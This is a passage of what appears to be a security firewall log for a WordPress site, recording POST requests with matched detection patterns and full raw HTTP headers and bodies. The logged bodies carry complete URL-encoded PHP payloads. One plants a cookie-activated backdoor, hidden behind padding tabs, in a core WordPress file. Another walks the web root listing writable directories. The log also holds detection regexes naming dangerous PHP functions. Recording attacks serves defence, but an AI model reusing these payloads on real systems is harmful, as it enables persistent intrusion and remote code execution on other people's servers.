%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp3VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:3252\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\n\nsr=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/typography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B29%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B24%255D%2528%2524n%252C%2524p%255B1%255D.%2524p%255B20%255D%2528%2524p%255B4%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:59:49","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/typography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B29%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B24%255D%2528%2524n%252C%2524p%255B1%255D.%2524p%255B20%255D%2528%2524p%255B4%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3275\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/typography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B29%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B24%255D%2528%2524n%252C%2524p%255B1%255D.%2524p%255B20%255D%2528%2524p%255B4%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:59:54","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ab:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/typography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B29%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B24%255D%2528%2524n%252C%2524p%255B1%255D.%2524p%255B20%255D%2528%2524p%255B4%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDJVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3252\n\nAb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/typography.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B16%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B16%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B16%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B5%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B25%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B29%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B24%255D%2528%2524n%252C%2524p%255B1%255D.%2524p%255B20%255D%2528%2524p%255B4%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:00:03","129.121.41.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> QG:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:3811\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHHpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\n\nQG=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 11:00:21","52.232.35.131","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> dw:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\